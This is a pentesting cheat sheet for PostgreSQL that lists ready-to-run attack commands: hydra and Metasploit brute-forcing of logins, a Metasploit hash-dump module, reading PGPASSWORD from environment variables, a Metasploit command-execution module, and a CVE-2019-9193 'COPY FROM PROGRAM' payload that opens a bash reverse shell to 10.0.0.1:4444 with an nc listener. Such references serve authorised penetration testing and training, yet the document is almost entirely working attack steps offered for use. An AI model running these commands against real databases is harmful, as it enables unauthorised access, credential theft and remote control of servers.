PostgreSQL Pentesting

Last modified: 2023-06-17

Database

PostgreSQL a relational database management system. Default port is 5432.

Enumeration

nmap --script pgsql-brute -p 5432 <target-ip>

Brute Force Credentials

hydra -l username -P passwords.txt <target-ip> postgres
hydra -L usernames.txt -p password <target-ip> postgres

# Metasploit
msfconsole
msf> use auxiliary/scanner/postgres/postgres_login
msf> set rhosts <target-ip>
msf> run

Dump User Hashes

msfconsole
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> set rhosts <target-ip>
msf> set username <username>
msf> set password <password>
msf> run

Config File

# Version 14.x
/etc/postgresql/14/main/postgresql.conf
# Version 15.x
/etc/postgresql/15/main/postgresql.conf

Also we may find other locations by viewing environment variables. They are prefixed by PG.

env

# Results
PGUSER=xxxx
PGPASSWORD=xxxx
PGPASSFILE=xxxx
...

Connect

Remote

# -W: Force password prompt
psql -h <target-ip> -p <target-port> -d <database> -U <username> -W
# -w: No password
psql -h <target-ip> -p <target-port> -d <database> -U <username> -w

Commands in psql

# Print help
\?

# Print the version of PostgreSQL
select version();

# Display command history
\s

# List databases
\l

# Switch to the given database
\c <database_name>

# List tables
\dt

# Descibe the table information
\d <table_name>

# Get values in the table
select * from <table>;

# List all users
\du

# Exit psql shell
\q

Get a Shell and Command Execution

msfconsole
msf> use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf> set rhosts <target-ip>
msf> set lhost <local-ip>
msf> set tablename <table_name>
msf> set username <username>
msf> set password <password>
msf> run
shell

Command Injection ( CVE-2019-9193 )

To execute arbitrary command, do the following steps. We’ll perform Reverse Shell. Of course we have to start a listener (e.g. nc -lvnp 4444) in local machine beforehand.

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;